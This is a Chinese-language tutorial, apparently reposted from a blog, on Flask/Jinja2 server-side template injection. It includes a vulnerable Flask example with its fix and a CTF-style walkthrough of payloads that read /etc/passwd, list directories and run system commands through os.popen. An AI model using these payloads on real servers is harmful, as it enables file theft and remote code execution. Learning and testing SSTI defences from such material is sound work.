Python模板注入

这篇具有很好参考价值的文章主要介绍了Python模板注入。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

  • 概念

        发生在使用模板引擎解析用户提供的输入时。模板注入漏洞可能导致攻击者能够执行恶意代码或访问未授权的数据。

        模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码分离。即也拓宽了攻击面,注入到模板中的代码可能会引发RCE或XSS

  • 常见模板与场景

        在python中,常见的模板引擎包括Jinja2、Django模板等。通常发生在未正确过滤或转义用户提供的输入时,使得攻击者能够在模板中插入恶意代码。

        攻击者可利用模板注入漏洞执行任意的python代码,包括读取敏感文件、执行系统命令、访问数据库等。通常会通过在用户输入中插入特定的模板语法来触发漏洞,eg.在Jinja2中使用{{...}}或{%...%}

  • flask模板

先了解flask模板,有助于理解原理

  from flask import flask
 
    @app.route('/index/')
    def hello_word():
    return 'hello world'

route装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http:127.0.0.1:5000/index的时候,flask会返回hello world

  • 渲染方法

flask的渲染方法有render_templaterender_template_string两种。

1.render_template()

用来渲染一个指定文件,使用方法如下:

 return render_template('indexhtml')
2.render_template_string

用来渲染一个字符串,SSTI与这个密不可分,使用方法如下:


  html='<h1>This is index page</h1>'
    return render_template_string(html)

flask模板例子:

#encoding: utf-8?
# 导入Flask类
from flask import Flask, render_template_string, request
# 实例化,可视为固定格式
app = Flask(__name__)
@app.route('/test/')
def test():
    code = request.args.get('id')
    html = '''
        <h3>%s</h3>
    '''%(code)
    return render_template_string(html)
if __name__ == '__main__':
    # app.run(host, port, debug, options)
    # 默认值:host="127.0.0.1", port=5000, debug=False
    app.run(host="0.0.0.0", port=5000)

注:以上代码存在ssti漏洞点在于render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,Flask 中使用了Jinja2 作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。
解决方法:
 将template 中的 ”’<h3>%s!</h3>”’% request.url 更改为 ”’<h3>{{request.url}}</h3>”’ ,这样以来,Jinja2在模板渲染的时候将request.url的值替换掉{{request.url}}, 而不会对request.url内容进行二次渲染(这样即使request.url中含有{{}}也不会进行渲染,而只是把它当做普通字符串),模板注入就是将一串指令代替变量传入模板中让它执行,例如我们在传入‘code’的值时,可以使用{{}}符号来包裹一系列代码,以此代替本应该是参数的id.
 如下:hhtp://127.0.0.1/?id={{xxx}}
 

  • 模板

flask时使用Jinja2来作为渲染引擎的。

在网站的根目录下新建templates文件夹,这里是用来存放html文件。也就是模板文件

模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。比如说显示用户名的地方,这个时候就需要使用模板支持的语法,来传参。

{{}}在Jinja2中作为变量包裹标识符。

  • 模板注入

不正确的使用flask中的render_template_string方法会引发SSTI。

(会用ctf题目解释,后续补充)

  • 几种常用于SSTI的魔术方法

__class__ 返回类型所属的对象
 
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
 
__base__ 返回该对象所继承的基类
 
// __base__和__mro__都是用来寻找基类的
 
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
 
__init__ 类的初始化方法
 
__globals__ 对包含函数全局变量的字典的引用
 
__builtins__  builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块

  • 获取基类的几种方法

    [].__class__.__base__
    ''.__class__.__mro__[2]
    ().__class__.__base__
    {}.__class__.__base__
    request.__class__.__mro__[8]   //针对jinjia2/flask为[9]适用
    或者
    [].__class__.__bases__[0]       //其他的类似
  • 获取基本类的子类

Python模板注入,入门知识,安全

ssti的主要目的就是从这么多的子类中找出可以利用的类(一般是指读写文件的类)加以利用

  • 利用

可利用的方法由<type 'file'>

().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
  • 读写文件

某些情况下system函数会被过滤。这时候也可以采用os模块的listdir函数来读取目录。(可以配合file来实现任意文件读取)

().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.') #读取本级目录

或者(不得已情况下)

方法一
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()    #把 read() 改为 write() 就是写文件
方法二

存在的子模块可以通过 .index()方式来查询

''.__class__.__mro__[2].__subclasses__().index(file)

用file模块来查询。

[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
  • 做题思路

1.通过python的对象的继续进一步实现文件的读取和命令执行

2.用__class__读取当前类对象的类

3.用__mro__或__base__寻找基类

4.用__subclasses__找命令执行或者文件操作的模块

5.用__init__声明

6.用__globals__引用模块

题目操作

1.测试

输入?id={{7*7}},看网页是否返回括号内的计算结果,若成功返回即指令被服务器执行了,也可输入?id={{config}},如果成功执行也代表存在模板注入

2.读取当前字符的类

?id={{config.__class__}}

3.查找基类

?id={{config.__class__.__mro__}}

4.选择基类查找命令执行或者文件操作的模块

?id={{config.__class__.__mro__[2].__subclasses__()}}

5.引用模块,执行命令

?id={{config.__class__.__mro__[2].__subclasses__()[414].__init__.__globals___['os'].popen('ls').read()}}

以下以flask为例,在处理怀疑含有模板注入的漏洞的网站时,先关注render*这类函数,观察其参数是否为用户可控。如果存在模板文件名可控的情况,如

render_template(request.args.get('template_name'),data)

配合上传漏洞,构造模板,则完成注入。

由于模板在渲染时服务器会自动寻找服务器渲染上下文的有关内容,因此将其填充到模板中,就导致了敏感信息的泄露,甚至执行任意代码问题。

参考学习文章链接:

Python-模板注入_render_template_string_jinqipiaopiao的博客-CSDN博客

Python模块注入_pythn的模板注入_Ting亭子的博客-CSDN博客文章来源地址https://www.toymoban.com/news/detail-707006.html

到了这里,关于Python模板注入的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Python基础知识入门(五)

    Python基础知识入门(一) Python基础知识入门(二) Python基础知识入门(三) Python基础知识入门(四)         模块是一个包含所有定义的函数和变量的文件,其后缀名是.py。模块可以被别的程序引入,以使用该模块中的函数、变量等功能来完成数据处理。 1.模块导入    

    2024年02月02日
    浏览(44)
  • Python基础知识入门(二)

    Python基础知识入门(一) Python基础知识入门(三) Python基础知识入门(四) Python基础知识入门(五)         Python 数字数据类型用于存储数值。数据类型是不允许改变,如改变数字数据类型的值,将重新分配内存空间。 1.数字函数 函数  描述  abs(x) 返回数字的绝对值。

    2024年02月22日
    浏览(43)
  • Python基础知识点入门

    初学Python时,以下是一些基础知识点和示例,以帮助你建立坚实的编程基础。 1. 变量和数据类型 Python中的变量用于存储数据。以下是一些常见的数据类型和示例: 整数(int) 浮点数(float) 字符串(str) 布尔值(bool) 2. 列表(List) 列表是一种有序的数据结构,可以存储

    2024年02月07日
    浏览(45)
  • Python进阶知识:整理1 -> pySpark入门

    pySpark大数据分析过程分为3步: 数据输入、数据计算、数据输出 ,以下内容将重点介绍这三个过程   在数据输入完成后,都会得到一个 RDD类的对象 (RDD全称为弹性分布式数据集) map算子是将RDD的数据进行一条条处理(处理的逻辑基于map算子接收的处理函数),返回新的R

    2024年01月18日
    浏览(44)
  • 【Python入门知识】NumPy 数组搜索,案例+理论讲解

    前言 嗨喽~大家好呀,这里是魔王呐 ❤ ~! 搜索数组 可以在数组中搜索(检索)某个值,然后返回获得匹配的索引。 要搜索数组,请使用 where() 方法。 实例 查找值为 4 的索引: 运行实例 更多python资料、源码、教程: 点击此处跳转文末名片获取 上例会返回一个元组:(array([

    2024年02月03日
    浏览(47)
  • 【自学网络安全】从零开始学习网络渗透的核心知识点,助你入门宝典

    前言 上周旁听了一个大学学长组织的线上网络安全交流会,里边不乏充斥着各位行业大牛,讲的内容确实精彩,可能对于网络安全经验5年+的人来说,是受益匪浅,欢迎程度极高,恨不得跳出屏幕来表示赞同,毕竟很多提到的问题,我在工作中也很常见,但是作为资历一般的

    2024年02月03日
    浏览(40)
  • 【Python入门知识】NumPy 中的随机数及ufuncs函数

    前言 嗨喽~大家好呀,这里是魔王呐 ❤ ~! 什么是随机数? 随机数并不意味着每次都有不同的数字。随机意味着无法在逻辑上预测的事物。 伪随机和真随机 计算机在程序上工作,程序是权威的指令集。 因此,这意味着必须有某种算法来生成随机数。 如果存在生成随机数的程

    2024年02月03日
    浏览(96)
  • 100天精通Python(数据分析篇)——第48天:数据分析入门知识

    近两年来,数据分析师的岗位需求非常大,90%的岗位技能需要掌握Python作为数据分析工具。Python语言的易学性、快速开发,拥有丰富强大的扩展库和成熟的框架等特性很好地满足了数据分析师的职业技能要求。 数据分析是指用适当的统计分析的方法对收集来的大量数据进行分

    2024年02月02日
    浏览(52)
  • Python入门知识点分享——(十六)标准库的导入和调用

    在正式学习面向对象编程之前,我们先讲一下怎么在代码中导入并调用现成的模组,也就是Python中的标准库。像我们之前介绍过的os模块就是其中之一,下面我将为大家分别介绍几个常用的标准库。 math 模块提供了许多对浮点数的数学运算函数,该模块下的函数返回值均为浮

    2024年01月17日
    浏览(39)
  • 后悔没早学这份Python神级文档!2023最新入门到进阶核心知识点学习文档!

    如今学 Python 的程序员越来越多,甚至不少人会把 Python 当作第一语言来学习。不过尽管 Python 功能强大上手轻松,但并不代表它的学习曲线不陡峭,得来全不费工夫。 当推开 Python 的大门,你会发现 Python 入门简单但精通很难。看似语法记得滚瓜烂熟,但一进入实际项目,就

    2024年02月06日
    浏览(47)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包